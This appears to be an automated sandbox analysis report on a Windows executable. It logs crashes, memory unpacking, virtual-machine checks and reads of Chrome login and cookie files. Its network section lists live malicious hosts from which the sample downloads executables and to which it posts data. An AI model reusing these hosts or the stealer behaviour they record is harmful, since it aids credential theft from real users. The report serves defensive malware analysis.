__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 00 00 exception.symbol: zxcv+0x1929 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6441 exception.address: 0x401929 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 ec 00 00 00 exception.symbol: zxcv+0x192a exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6442 exception.address: 0x40192a registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 ec 00 00 00 00 exception.symbol: zxcv+0x192b exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6443 exception.address: 0x40192b registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 ec 00 00 00 00 00 exception.symbol: zxcv+0x192c exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6444 exception.address: 0x40192c registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 ec 00 00 00 00 00 00 exception.symbol: zxcv+0x192d exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6445 exception.address: 0x40192d registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 ec 00 00 00 00 00 00 00 exception.symbol: zxcv+0x192e exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6446 exception.address: 0x40192e registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (19 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://34.89.184.90/
suspicious_features	POST method with no referer header	suspicious_request	POST http://erolasa.ac.ug/index.php
suspicious_features	POST method with no referer header, POST method with no useragent header	suspicious_request	POST http://erolbasa.ac.ug/softokn3.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://34.89.184.90//l/f/K-R3vHoBagrSXdgRybk2/92d554b38e1cae759d4c0d30ca20cfdc6cde1f5f
suspicious_features	POST method with no referer header, POST method with no useragent header	suspicious_request	POST http://erolbasa.ac.ug/sqlite3.dll
suspicious_features	POST method with no referer header, POST method with no useragent header	suspicious_request	POST http://erolbasa.ac.ug/freebl3.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://34.89.184.90//l/f/K-R3vHoBagrSXdgRybk2/41412bfae75d7e94b63598d20cc59c28b5b0423e
suspicious_features	POST method with no referer header, POST method with no useragent header	suspicious_request	POST http://erolbasa.ac.ug/mozglue.dll
suspicious_features	POST method with no referer header, POST method with no useragent header	suspicious_request	POST http://erolbasa.ac.ug/msvcp140.dll
suspicious_features	POST method with no referer header, POST method with no useragent header	suspicious_request	POST http://erolbasa.ac.ug/nss3.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://185.215.113.77/ac.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://185.215.113.77/rc.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://185.215.113.77/ds1.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://185.215.113.77/ds2.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://185.215.113.77/cc.exe
suspicious_features	POST method with no referer header, POST method with no useragent header	suspicious_request	POST http://erolbasa.ac.ug/vcruntime140.dll
suspicious_features	POST method with no referer header, POST method with no useragent header	suspicious_request	POST http://erolbasa.ac.ug/main.php
suspicious_features	POST method with no referer header, POST method with no useragent header	suspicious_request	POST http://erolbasa.ac.ug/
suspicious_features	GET method with no useragent header	suspicious_request	GET https://telete.in/brikitiki

Performs some HTTP requests (26 events)

request	POST http://34.89.184.90/
request	POST http://erolasa.ac.ug/index.php
request	POST http://erolbasa.ac.ug/softokn3.dll
request	GET http://34.89.184.90//l/f/K-R3vHoBagrSXdgRybk2/92d554b38e1cae759d4c0d30ca20cfdc6cde1f5f
request	POST http://erolbasa.ac.ug/sqlite3.dll
request	POST http://erolbasa.ac.ug/freebl3.dll
request	GET http://34.89.184.90//l/f/K-R3vHoBagrSXdgRybk2/41412bfae75d7e94b63598d20cc59c28b5b0423e
request	POST http://erolbasa.ac.ug/mozglue.dll
request	POST http://erolbasa.ac.ug/msvcp140.dll
request	GET http://erolasa.ac.ug/ac.exe
request	GET http://erolasa.ac.ug/rc.exe
request	GET http://erolasa.ac.ug/ds1.exe
request	GET http://erolasa.ac.ug/ds2.exe
request	GET http://erolasa.ac.ug/cc.exe
request	POST http://erolbasa.ac.ug/nss3.dll
request	GET http://185.215.113.77/ac.exe
request	GET http://185.215.113.77/rc.exe
request	GET http://185.215.113.77/ds1.exe
request	GET http://185.215.113.77/ds2.exe
request	GET http://185.215.113.77/cc.exe
request	POST http://erolbasa.ac.ug/vcruntime140.dll
request	POST http://erolbasa.ac.ug/main.php
request	POST http://erolbasa.ac.ug/
request	GET https://telete.in/brikitiki
request	GET https://cdn.discordapp.com/attachments/854297276549169165/865182381597786132/Rtzvmiumkiajmdtugitkgokalwbndbk
request	GET https://cdn.discordapp.com/attachments/854297276549169165/865183364520345620/Ghvhklnnbujpcdbcuiamjnfnpsbioew

Sends data using the HTTP POST Method (11 events)

request	POST http://34.89.184.90/
request	POST http://erolasa.ac.ug/index.php
request	POST http://erolbasa.ac.ug/softokn3.dll
request	POST http://erolbasa.ac.ug/sqlite3.dll
request	POST http://erolbasa.ac.ug/freebl3.dll
request	POST http://erolbasa.ac.ug/mozglue.dll
request	POST http://erolbasa.ac.ug/msvcp140.dll
request	POST http://erolbasa.ac.ug/nss3.dll
request	POST http://erolbasa.ac.ug/vcruntime140.dll
request	POST http://erolbasa.ac.ug/main.php
request	POST http://erolbasa.ac.ug/

Allocates read-write-execute memory (usually to unpack itself) (50 out of 444 events)

Time & API	Arguments	Status
NtProtectVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2424 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74612000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2424 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2424 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7777f000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2424 region_size: 32768 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a10000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74612000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2520 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7777f000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2520 region_size: 32768 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00600000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74612000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7777f000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2556 region_size: 32768 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023b0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2604 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003b0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2604 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7777f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 2604 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74612000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2708 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003b0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2708 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7777f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2708 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74612000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00340000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2760 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7777f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 19, 2021, 10:33 a.m.	process_identifier: 2760 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74612000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:25 a.m.	process_identifier: 1532 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000042f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 1441792 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007b0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x712a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x712a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 1507328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c70000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00da0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00422000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00750000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00455000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0045b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00457000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0044a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00447000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00751000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00753000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74612000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00446000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:31 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00754000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00755000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00756000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00757000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00758000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00759000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0075a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 2568 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0075b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (5 events)

Time & API	Arguments	Status	Return
GetDiskFreeSpaceW July 19, 2021, 10:31 a.m.	number_of_free_clusters: 3061354 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \\?\Volume{c2d901c4-0706-11e8-912e-806e6f6e6963}\ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW July 19, 2021, 10:31 a.m.	number_of_free_clusters: 3059468 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW July 19, 2021, 10:31 a.m.	number_of_free_clusters: 3059468 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW July 19, 2021, 10:31 a.m.	number_of_free_clusters: 3059468 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceExW July 19, 2021, 10:26 a.m.	total_number_of_free_bytes: 0 free_bytes_available: 12515684352 root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Explorer total_number_of_bytes: 0	1	1

Steals private information from local Internet browsers (50 out of 144 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Module Info Cache\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\TrustTokenKeyCommitments\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\WidevineCdm\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\FileTypePolicies\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\CertificateTransparency\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\FileTypePolicies\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\SwReporter\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Floc\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\CertificateTransparency\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\TLSDeprecationConfig\Web Data
